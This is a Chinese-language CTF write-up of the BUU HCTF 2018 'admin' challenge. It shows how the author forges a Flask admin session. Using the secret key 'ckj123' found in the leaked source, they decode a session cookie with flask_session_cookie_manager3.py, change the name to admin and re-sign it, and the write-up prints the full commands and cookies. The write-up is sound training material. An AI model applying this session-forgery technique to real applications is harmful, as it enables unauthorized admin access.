MENU

[BUU HCTF 2018] admin (Session伪造)

September 30, 2020 • Read: 143 • CTF

在源码看到<!-- you are not admin -->,提示我们不是admin,大概知道做题的方向是往提权admin走的。

既然要是admin,那就创建一个admin账户,但是admin账户已存在。先创建一个普通用户,在change password下找到了 <!-- https://github.com/woadsl1234/hctf_flask/ -->,下载下来是这题的源码。

抓包看到了密文的session,由于对flask不熟悉,通过查阅资料发现可以通过脚本对flask的session进行加解密。但是要加解密必须得知道SECRET_KEY,在源码中的config.py看到了SECRET_KEY的值为 ckj123
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

session解密:

python .\flask_session_cookie_manager3.py decode -s 'ckj123' -c ".eJw9kEGLwjAQhf_KMmcPJtqL4MFltbSQCZW6YXIRrVU7aVyoit2I_32jLDLM5b2ZD967w3rf1ecjTC7dtR7AutnB5A4fW5gAsfWWZz2F-ciahUeuBIVsqEsnFX86lBQnb-I6Ct9MoUiIc6eNbbFUQT01mfXIh0SnS473AsOutb64WbNKtEFP4dDrNG-QW1Yyb22a9coUY11GTql-rcFGp4WwhqJGY5TzoL5sg37hyNNNBXQYqik8BlCdu_368uPq0zuC4tkIvZI6vmNJiUozgfzE5kcKuxhh6TFEj1c3xaq35VxSMX3hGr851G8ShlzU_85p46MBraiOMIDrue5etYEYwuMPibJtBg.X3SAZQ.S565TAi_4E7y0lnyzfwddRSudag"


{'_fresh': True, '_id': b'b6ff01c17eaf675c2499620d7f6cbbcbdc5cc49b2d9fe53335ccb16898dc7f577efd0ee99cfc818bb69c3bedb11d892d932ecb8d5ef89687a306b6adbf033d77', 'csrf_token': b'2076c69f85690b5632ebac7d7df768650231e16a', 'image': b'72uy', 'name': 'l1ch', 'user_id': '10'}

将session中的name改为admin,就能够伪造出admin的session

python .\flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'b6ff01c17eaf675c2499620d7f6cbbcbdc5cc49b2d9fe53335ccb16898dc7f577efd0ee99cfc818bb69c3bedb11d892d932ecb8d5ef89687a306b6adbf033d77', 'csrf_token': b'2076c69f85690b5632ebac7d7df768650231e16a', 'image': b'72uy', 'name': 'admin', 'user_id': '10'}"


.eJw9kEGLwjAQhf_KMmcPNtqL4MFltbSQCZW6YXIRtVUzaVyoit2I_32jLDLM5b2ZD967w3rfNecjTC7dtRnA2tYwucPHFiZAbLzhWU9hPjJ64ZF3CYV8qConJH86FBSnsHEdhW-mUKbEhVPatFjJIJ-ayHvkQ6qyJcf7BEPdGl_ejF6lSqOncOhVVljklqUoWpPlvdTlWFWRU8lfo9GqrEyMpqjRGMU8yC9j0S8cebrJgA7DbgqPAezO3X59-XHN6R1B8myEXgoV37GiVGZ5gvzEFkcKdYyw9Biix6ubZNmbai6onL5w1m8OzZuEoUiaf-e08dGATe3tCQZwPTfdqzdIhvD4A_2zbac.X3SCzQ.ehvnC-eb2LiD1EKz-b-IUke0GWs

QQ截图20200930210726.png
修改seesion后发包,成功获取flag